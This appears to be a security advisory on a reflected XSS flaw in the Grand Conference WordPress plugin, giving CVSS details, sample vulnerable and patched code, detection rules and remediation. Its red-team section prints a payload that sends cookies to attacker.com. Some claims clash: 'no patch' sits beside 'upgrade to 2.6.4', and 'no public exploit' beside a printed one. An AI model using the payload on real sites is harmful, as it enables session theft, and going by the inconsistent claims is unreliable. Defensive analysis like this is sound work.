CVE-2025-64224

Executive Summary

CVE-2025-64224 is a reflected Cross-Site Scripting (XSS) vulnerability in the Grand Conference Theme Custom Post Type plugin (grandconference-custom-post) by ThemeGoods. This flaw allows an attacker to inject arbitrary JavaScript into a web page via a crafted URL, leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to 2.6.4. No public exploit code or proof-of-concept is currently available, and the vendor has not released an official patch. The CVSS score of 7.1 (High) reflects the ease of exploitation and potential impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is part of the WordPress ecosystem as a plugin component. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is distributed via ThemeGoods’ own marketplace and is not available on the official WordPress plugin repository. Users should verify the authenticity of their plugin source and ensure they are using a legitimate, licensed copy.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Reflected XSS can be used in phishing campaigns, credential harvesting, or to deliver malware.

Deep Dive & Mechanics

The vulnerability resides in the grandconference-custom-post plugin, which registers custom post types for the Grand Conference theme. The plugin fails to properly sanitize user-supplied input in certain query parameters before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript, and when a victim clicks the link, the script executes in the context of the victim’s browser session on the affected WordPress site.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying esc_html(), esc_js(), or wp_kses().

Attack Vector: Reflected XSS via URL parameters (e.g., ?search=<script>alert(1)</script>).

Impact:

• Session hijacking (stealing cookies)
• Redirection to malicious sites
• Defacement of the page
• Keylogging or form data theft

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.6.4):

// In a template file or shortcode handler
$search_term = $_GET['search'];
echo '<div class="search-result">' . $search_term . '</div>';

Patched Code (version 2.6.4+):

// Properly escape output
$search_term = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="search-result">' . esc_html($search_term) . '</div>';

The patch uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Craft the malicious URL:

   http://target-site.com/?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Deliver via phishing email or social engineering.

3. Victim clicks link → script executes → cookie exfiltration.

No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

1. Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns (e.g., <script>, onerror=, javascript:).
2. Enable Content Security Policy (CSP) headers to restrict script sources.
3. Monitor logs for unusual URL parameters containing HTML/JavaScript.

Indicators of Compromise (IOCs)

• Network: HTTP requests with parameters containing <script>, onload=, onerror=, or base64-encoded JavaScript.
• Host: Log entries showing $_GET parameters with HTML tags in the search or similar parameter.
• File: No file-based IOCs; this is a reflected XSS.

Example IOC (Suricata rule):

alert http any any -> any any (msg:"CVE-2025-64224 Reflected XSS Attempt"; flow:to_server; content:"?search="; nocase; content:"<script>"; distance:0; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_64224_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Grand Conference plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-64224"
    strings:
        $xss1 = /[?&]search=.*<script>/i
        $xss2 = /[?&]search=.*onerror=/i
        $xss3 = /[?&]search=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-64224 Reflected XSS in Grand Conference Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts via search parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '?search=<script'
            - '?search=onerror='
            - '?search=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64224 Reflected XSS Attempt"; flow:to_server; content:"?search="; nocase; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to version 2.6.4 or later of the grandconference-custom-post plugin.
2. Workaround: If upgrade is not possible, add the following to .htaccess to block malicious parameters:

   RewriteCond %{QUERY_STRING} (<script|onerror=|javascript:) [NC]
   RewriteRule .* - [F,L]
   

3. Long-term: Implement input validation and output encoding in all custom WordPress plugins. Use esc_html(), esc_js(), and wp_kses() consistently.
4. Monitor: Review web server logs for suspicious query strings.

Valters IT
Securing Digital Frontiers